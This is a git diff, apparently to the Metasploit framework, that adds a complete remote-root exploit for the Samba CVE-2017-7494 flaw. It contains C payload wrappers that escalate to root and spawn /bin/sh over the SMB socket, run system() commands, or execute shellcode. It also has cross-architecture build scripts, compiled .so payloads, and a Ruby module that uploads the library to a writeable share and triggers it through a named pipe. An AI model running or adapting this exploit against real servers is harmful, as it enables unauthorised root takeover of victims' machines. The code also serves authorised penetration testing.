diff --git a/data/exploits/CVE-2017-7494/build.sh b/data/exploits/CVE-2017-7494/build.sh new file mode 100755 index 0000000000..76edfd31d6 --- /dev/null +++ b/data/exploits/CVE-2017-7494/build.sh @@ -0,0 +1,44 @@ +#!/bin/bash + +build () { + CC=$1 + TARGET_SUFFIX=$2 + CFLAGS=$3 + + echo "[*] Building for ${TARGET_SUFFIX}..." + for type in {shellcode,system,findsock} + do ${CC} ${CFLAGS} -Wall -Werror -fPIC samba-root-${type}.c -shared -o samba-root-${type}-${TARGET_SUFFIX}.so + done +} + +rm -f *.o *.so *.gz + +# x86 +build "gcc" "x86_64" "-m64" +build "gcc" "x86" "-m32" + +# ARM +build "arm-linux-gnueabi-gcc-5" "armel" "-march=armv5 -mlittle-endian" +build "arm-linux-gnueabihf-gcc-5" "armhf" "-march=armv7 -mlittle-endian" +build "aarch64-linux-gnu-gcc-4.9" "aarch64" "" + +# MIPS +build "mips-linux-gnu-gcc-5" "mips" "" +build "mipsel-linux-gnu-gcc-5" "mipsel" "" +build "mips64-linux-gnuabi64-gcc-5" "mips64" "" +build "mips64el-linux-gnuabi64-gcc-5" "mips64el" "" + +# SPARC +build "sparc64-linux-gnu-gcc-5" "sparc64" "" +build "sparc64-linux-gnu-gcc-5" "sparc" "-m32" + +# PowerPC +build "powerpc-linux-gnu-gcc-5" "powerpc" "" +build "powerpc64-linux-gnu-gcc-5" "powerpc64" "" +build "powerpc64le-linux-gnu-gcc-4.9" "powerpc64le" "" + +# S390X +build "s390x-linux-gnu-gcc-5" "s390x" "" + +gzip -9 *.so +rm -f *.o *.so diff --git a/data/exploits/CVE-2017-7494/install-deps.sh b/data/exploits/CVE-2017-7494/install-deps.sh new file mode 100755 index 0000000000..0f2e1b713c --- /dev/null +++ b/data/exploits/CVE-2017-7494/install-deps.sh @@ -0,0 +1,21 @@ +#!/bin/bash + +# Assume x86_64 Ubuntu 16.04 base system +apt-get install build-essential \ + gcc-5-multilib \ + gcc-5-multilib-arm-linux-gnueabi \ + gcc-5-multilib-arm-linux-gnueabihf \ + gcc-5-multilib-mips-linux-gnu \ + gcc-5-multilib-mips64-linux-gnuabi64 \ + gcc-5-multilib-mips64el-linux-gnuabi64 \ + gcc-5-multilib-mipsel-linux-gnu \ + gcc-5-multilib-powerpc-linux-gnu \ + gcc-5-multilib-powerpc64-linux-gnu \ + gcc-5-multilib-s390x-linux-gnu \ + gcc-5-multilib-sparc64-linux-gnu \ + gcc-4.9-powerpc64le-linux-gnu \ + gcc-4.9-aarch64-linux-gnu + +if [ ! -e /usr/include/asm ]; + then ln -sf /usr/include/asm-generic /usr/include/asm +fi diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-aarch64.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-aarch64.so.gz new file mode 100755 index 0000000000..d9d8c56cfd Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-findsock-aarch64.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-armel.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-armel.so.gz new file mode 100755 index 0000000000..e7ca1d347b Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-findsock-armel.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-armhf.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-armhf.so.gz new file mode 100755 index 0000000000..ebc4e4eb12 Binary files /dev/null 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a/data/exploits/CVE-2017-7494/samba-root-findsock-x86.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-x86.so.gz new file mode 100755 index 0000000000..2c55e5fd01 Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-findsock-x86.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-x86_64.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-x86_64.so.gz new file mode 100755 index 0000000000..a64de85bd1 Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-findsock-x86_64.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock.c b/data/exploits/CVE-2017-7494/samba-root-findsock.c new file mode 100644 index 0000000000..48039edc6c --- /dev/null +++ b/data/exploits/CVE-2017-7494/samba-root-findsock.c @@ -0,0 +1,55 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +extern bool change_to_root_user(void); + +// Samba 4 looks for samba_init_module +int samba_init_module(void) +{ + char *args[2] = {"/bin/sh", 0}; + struct sockaddr_in sa; + socklen_t sl = sizeof(sa); + int s; + unsigned char buff[] = { + 0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42, + 0xa2, 0x39, 0x00, 0x00, 0xc0, 0x88, 0x03, 0xc8, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x64, 0x7e, + 0x64, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x00 + }; + + change_to_root_user(); + + for (s=4096; s>0; s--) { + + // Skip over invalid sockets + if (getsockname(s, (struct sockaddr *)&sa, &sl) != 0) + continue; + + // Skip over non internet sockets + if (sa.sin_family != AF_INET) + continue; + + // Send a semi-valid SMB response to simplify things + send(s, buff, sizeof(buff), 0); + + // Duplicate standard input/output/error + dup2(s, 0); + dup2(s, 1); + dup2(s, 2); + + execve(args[0], args, NULL); + } + + return 0; +} + +// Samba 3 looks for init_samba_module +int init_samba_module(void) { return samba_init_module(); } diff --git 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b/data/exploits/CVE-2017-7494/samba-root-shellcode-s390x.so.gz new file mode 100755 index 0000000000..e312c0875c Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-shellcode-s390x.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode-sparc.so.gz b/data/exploits/CVE-2017-7494/samba-root-shellcode-sparc.so.gz new file mode 100755 index 0000000000..ef386f0566 Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-shellcode-sparc.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode-sparc64.so.gz b/data/exploits/CVE-2017-7494/samba-root-shellcode-sparc64.so.gz new file mode 100755 index 0000000000..1907571c84 Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-shellcode-sparc64.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode-x86.so.gz b/data/exploits/CVE-2017-7494/samba-root-shellcode-x86.so.gz new file mode 100755 index 0000000000..95b052da8f Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-shellcode-x86.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode-x86_64.so.gz b/data/exploits/CVE-2017-7494/samba-root-shellcode-x86_64.so.gz new file mode 100755 index 0000000000..f256276c7c Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-shellcode-x86_64.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-shellcode.c b/data/exploits/CVE-2017-7494/samba-root-shellcode.c new file mode 100644 index 0000000000..3d8145935d --- /dev/null +++ b/data/exploits/CVE-2017-7494/samba-root-shellcode.c @@ -0,0 +1,35 @@ +#include +#include +#include +#include +#include +#include + +#define PAYLOAD_SIZE 10000 +unsigned char payload[PAYLOAD_SIZE] = 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,0,0,0,0,0,0,0}; + +extern bool change_to_root_user(void); + +// Samba 4 looks for samba_init_module +int samba_init_module(void) +{ + void *mem; + void (*fn)(); + + change_to_root_user(); + mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); + if (mem == MAP_FAILED) + return 0; + + memcpy(mem, payload, PAYLOAD_SIZE); + fn = (void(*)())mem; + + if (! fork()) { + fn(); + kill(getpid(), 9); + } + return 0; +} + +// Samba 3 looks for init_samba_module +int init_samba_module(void) { return samba_init_module(); } diff --git a/data/exploits/CVE-2017-7494/samba-root-system-aarch64.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-aarch64.so.gz new file mode 100755 index 0000000000..65d445fb7b Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-system-aarch64.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-system-armel.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-armel.so.gz new file mode 100755 index 0000000000..67936df2fc Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-system-armel.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-system-armhf.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-armhf.so.gz new file mode 100755 index 0000000000..0b146911f2 Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-system-armhf.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-system-mips.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-mips.so.gz new file mode 100755 index 0000000000..466dc5e064 Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-system-mips.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-system-mips64.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-mips64.so.gz new file mode 100755 index 0000000000..4a2ee0fa43 Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-system-mips64.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-system-mips64el.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-mips64el.so.gz new file mode 100755 index 0000000000..c1249df93e Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-system-mips64el.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-system-mipsel.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-mipsel.so.gz new file mode 100755 index 0000000000..31e6bae94b Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-system-mipsel.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-system-powerpc.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-powerpc.so.gz new file mode 100755 index 0000000000..188e5de067 Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-system-powerpc.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-system-powerpc64.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-powerpc64.so.gz new file mode 100755 index 0000000000..35a4b2c999 Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-system-powerpc64.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-system-powerpc64le.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-powerpc64le.so.gz new file mode 100755 index 0000000000..ad4ba723a7 Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-system-powerpc64le.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-system-s390x.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-s390x.so.gz new file mode 100755 index 0000000000..b831577fae Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-system-s390x.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-system-sparc.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-sparc.so.gz new file mode 100755 index 0000000000..9021603907 Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-system-sparc.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-system-sparc64.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-sparc64.so.gz new file mode 100755 index 0000000000..a5211d71ef Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-system-sparc64.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-system-x86.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-x86.so.gz new file mode 100755 index 0000000000..8a40ca9cac Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-system-x86.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-system-x86_64.so.gz b/data/exploits/CVE-2017-7494/samba-root-system-x86_64.so.gz new file mode 100755 index 0000000000..c383cfc129 Binary files /dev/null and b/data/exploits/CVE-2017-7494/samba-root-system-x86_64.so.gz differ diff --git a/data/exploits/CVE-2017-7494/samba-root-system.c b/data/exploits/CVE-2017-7494/samba-root-system.c new file mode 100644 index 0000000000..1ca13c264f --- /dev/null +++ b/data/exploits/CVE-2017-7494/samba-root-system.c @@ -0,0 +1,24 @@ +#include +#include +#include +#include +#include +#include + +#define PAYLOAD_SIZE 10000 +unsigned char payload[PAYLOAD_SIZE] = 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+ +extern bool change_to_root_user(void); + +// Samba 4 looks for samba_init_module +int samba_init_module(void) +{ + change_to_root_user(); + if (! fork()) { + system((const char*)payload); + } + return 0; +} + +// Samba 3 looks for init_samba_module +int init_samba_module(void) { return samba_init_module(); } diff --git a/modules/exploits/linux/samba/is_known_pipename.rb b/modules/exploits/linux/samba/is_known_pipename.rb index 2b6915cdb3..e33254aab4 100644 --- a/modules/exploits/linux/samba/is_known_pipename.rb +++ b/modules/exploits/linux/samba/is_known_pipename.rb @@ -38,18 +38,32 @@ class MetasploitModule < Msf::Exploit::Remote 'DisableNops' => true }, 'Platform' => 'linux', - # - # Targets are currently limited by platforms with ELF-SO payload wrappers - # 'Targets' => [ + [ 'Automatic (Interact)', + { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' + } + } + } + ], + [ 'Automatic (Command)', + { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } + ], [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ], - # - # Not ready yet - # [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], - # [ 'Linux MIPS', { 'Arch' => MIPS } ], + [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], + [ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ], + [ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ], + [ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ], + [ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ], + [ 'Linux PPC', { 'Arch' => ARCH_PPC } ], + [ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ], + [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ], + [ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ], ], 'DefaultOptions' => { @@ -58,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Privileged' => true, 'DisclosureDate' => 'Mar 24 2017', - 'DefaultTarget' => 1)) + 'DefaultTarget' => 0)) register_options( [ @@ -67,6 +81,32 @@ class MetasploitModule < Msf::Exploit::Remote ]) end + # Setup our mapping of Metasploit architectures to gcc architectures + def setup + super + @@payload_arch_mappings = { + ARCH_X86 => [ 'x86' ], + ARCH_X86_64 => [ 'x86_64' ], + ARCH_X64 => [ 'x86_64' ], + ARCH_MIPS => [ 'mips' ], + ARCH_MIPSLE => [ 'mipsel' ], + ARCH_MIPSBE => [ 'mips' ], + ARCH_MIPS64 => [ 'mips64' ], + ARCH_PPC => [ 'powerpc' ], + ARCH_PPC64 => [ 'powerpc64' ], + ARCH_PPC64LE => [ 'powerpc64le' ], + ARCH_SPARC => [ 'sparc' ], + ARCH_ARMLE => [ 'armel', 'armhf' ], + ARCH_AARCH64 => [ 'aarch64' ], + # + # Missing from Rex::Arch + # ARCH_MIPS64LE = 'mips64le', + # ARCH_SPARC64 = 'sparc64', + # + } + end + + # List all top-level directories within a given share def enumerate_directories(share) begin self.simple.connect("\\\\#{rhost}\\#{share}") @@ -89,6 +129,7 @@ class MetasploitModule < Msf::Exploit::Remote end end + # Detemrine whether a directory in a share is writeable def verify_writeable_directory(share, directory="") begin simple.connect("\\\\#{rhost}\\#{share}") @@ -112,19 +153,13 @@ class MetasploitModule < Msf::Exploit::Remote end end + # Call NetShareGetInfo to retrieve the server-side path def find_share_path share_info = smb_netsharegetinfo(@share) share_info[:path].gsub("\\", "/").sub(/^.*:/, '') end - def probe_module_path(path, simple_client=self.simple) - begin - simple_client.create_pipe(path) - rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - vprint_error("Probe: #{path}: #{e}") - end - end - + # Crawl top-level directories and test for writeable def find_writeable_path(share) subdirs = enumerate_directories(share) return unless subdirs @@ -141,6 +176,7 @@ class MetasploitModule < Msf::Exploit::Remote nil end + # Locate a writeable directory across identified shares def find_writeable_share_path @path = nil share_info = smb_netshareenumall @@ -158,6 +194,7 @@ class MetasploitModule < Msf::Exploit::Remote end end + # Locate a writeable share def find_writeable find_writeable_share_path unless @share && @path @@ -167,7 +204,8 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path") end - def upload_payload + # Store the wrapped payload into the writeable share + def upload_payload(wrapped_payload) begin self.simple.connect("\\\\#{rhost}\\#{@share}") @@ -175,9 +213,7 @@ class MetasploitModule < Msf::Exploit::Remote filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}" wfd = simple.open(filename, 'rwct') - wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, - payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform} - ) + wfd << wrapped_payload wfd.close @payload_name = random_filename @@ -194,23 +230,172 @@ class MetasploitModule < Msf::Exploit::Remote return true end - def find_payload - # Retrieve the server-side path of the share like a boss - print_status("Retrieving the remote path of the share '#{@share}'") - share_path = find_share_path + # Try both pipe open formats in order to load the uploaded shared library + def trigger_payload - target = [share_path, @path, @payload_name].join("/").gsub(/\/+/, '/') + target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/') + [ + "\\\\PIPE\\" + target, + target + ].each do |tpath| - print_status("Loading the payload from server-side path #{target}...") - simple.connect("\\\\#{rhost}\\IPC$") + print_status("Loading the payload from server-side path #{target} using #{tpath}...") - # The first method works against Samba 3.x - probe_module_path("\\\\PIPE\\" + target) + smb_connect - # The second method works against Samba 4.x - probe_module_path(target) + # Try to execute the shared library from the share + begin + simple.client.create_pipe(tpath) + probe_module_path(tpath) + + rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError + # Common errors we can safely ignore + + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + + # Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded + if e.error_code == 0xc0000039 + print_good("Probe response indicates the interactive payload was loaded...") + + smb_shell = self.sock + self.sock = nil + remove_socket(sock) + handler(smb_shell) + return true + else + print_error(" >> Failed to load #{e.error_name}") + end + end + + disconnect + + end + + false end + # Use fancy payload wrappers to make exploitation a joyously lazy exercise + def cycle_possible_payloads + template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494") + template_list = [] + template_type = nil + template_arch = nil + + # Handle the generic command types first + if target.arch.include?(ARCH_CMD) + template_type = target['Interact'] ? 'findsock' : 'system' + + all_architectures = @@payload_arch_mappings.values.flatten.uniq + + # Prioritize the most common architectures first + %W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch| + template_list << all_architectures.delete(t_arch) + end + + # Queue up the rest for later + all_architectures.each do |t_arch| + template_list << t_arch + end + + # Handle the specific architecture targets next + else + template_type = 'shellcode' + target.arch.each do |t_name| + @@payload_arch_mappings[t_name].each do |t_arch| + template_list << t_arch + end + end + end + + # Remove any duplicates that mau have snuck in + template_list.uniq! + + # Cycle through each template and yield + template_list.each do |t_arch| + data = '' + ::File.open(File.join(template_base, "samba-root-#{template_type}-#{t_arch}.so.gz"), "rb") do |fd| + data = Rex::Text.ungzip(fd.read) + end + + pidx = data.index('PAYLOAD') + if pidx + data[pidx, payload.encoded.length] = payload.encoded + end + + vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...") + yield(data) + end + end + + # Verify that the payload settings make sense + def sanity_check + if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact" + print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact") + print_error(" Please set PAYLOAD to cmd/unix/interact and try this again") + print_error("") + fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target") + end + + if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact" + print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact") + print_error(" Please set a valid PAYLOAD and try this again") + print_error("") + fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target") + end + end + + # Shorthand for connect and login + def smb_connect + connect + smb_login + end + + # Start the shell train + def exploit + # Validate settings + sanity_check + + # Setup SMB + smb_connect + + # Find a writeable share + find_writeable + + # Retrieve the server-side path of the share like a boss + print_status("Retrieving the remote path of the share '#{@share}'") + @share_path = find_share_path + print_status("Share '#{@share}' has server-side path '#{@share_path}") + + # Disconnect + disconnect + + # Create wrappers for each potential architecture + cycle_possible_payloads do |wrapped_payload| + + # Connect, upload the shared library payload, disconnect + smb_connect + upload_payload(wrapped_payload) + disconnect + + # Trigger the payload + early = trigger_payload + + # Cleanup the payload + begin + smb_connect + simple.connect("\\\\#{rhost}\\#{@share}") + uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}" + simple.delete(uploaded_path) + disconnect + rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError + end + + # Bail early if our interact payload loaded + return if early + end + end + + # A version-based vulnerability check for Samba def check res = smb_fingerprint @@ -245,8 +430,7 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Safe end - connect - smb_login + smb_connect find_writeable_share_path disconnect @@ -259,33 +443,4 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Appears end - def exploit - # Setup SMB - connect - smb_login - - # Find a writeable share - find_writeable - - # Upload the shared library payload - upload_payload - - # Find and execute the payload from the share - begin - find_payload - rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply - end - - # Cleanup the payload - begin - simple.connect("\\\\#{rhost}\\#{@share}") - uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}" - simple.delete(uploaded_path) - rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply - end - - # Shutdown - disconnect - end - end